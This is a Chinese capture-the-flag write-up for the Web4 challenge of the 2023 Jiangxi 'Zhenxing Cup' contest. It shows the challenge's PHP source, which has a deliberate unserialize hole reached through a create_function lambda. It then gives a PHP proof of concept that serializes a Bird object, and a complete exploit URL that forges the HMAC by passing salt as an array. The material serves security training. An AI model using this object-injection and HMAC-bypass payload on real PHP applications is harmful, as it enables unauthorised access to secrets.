2023年江西省“振兴杯”网络信息行业职业技能竞赛 Web4 Writeup

这次振兴杯碰到的一道题，某些姿势之前貌似没有碰过，简单记一下吧

源码

<?php
class Bird{public $funcs;public $salt;public $flag;function say_flag(){$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));$hmac = hash_hmac('sha256', $_GET['password'], $secret);if($_GET['mac'] === $hmac){show_source("/flag");}}function __destruct(){$self_func=$this->funcs;$self_func();}
}if(isset($_GET['p'])){$funcs = create_function("","unserialize(\$_GET['d']);");$_GET['p']();
}else{show_source(__FILE__);
}

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create_function("","unserialize(\$_GET['d']);"); 的考点是利用匿名函数，可以参考：https://www.cnblogs.com/leixiao-/p/9818602.html

create_function的匿名函数也是有名字的，名字是\x00lambda_%d，其中%d代表他是当前进程中的第几个匿名函数。调用匿名函数，传入d参数进行反序列化

构造POC

<?php 
class Bird{public $funcs;public $salt;public $flag;function say_flag(){echo "-------say_flag-------";// $secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));// $hmac = hash_hmac('sha256', $_GET['password'], $secret);// if($_GET['mac'] === $hmac){//     show_source("/flag");// }}function __destruct(){$self_func=$this->funcs;$self_func();}
}$Bird = new Bird();
$Bird->funcs = [new Bird(),'say_flag'];
echo urlencode(serialize($Bird));?>

而哈希处理，对$_GET['salt']传数组即可，使得$secret为NULL，进而使得$hmac可控

?p=%00lambda_1&d=O%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3BN%3Bs%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22say_flag%22%3B%7Ds%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D&salt[]=&password=mochu7&mac=c35b38d9886ca1852ac7a27a016721bf3de37a2c9231d96bc89ee3ab4d366067

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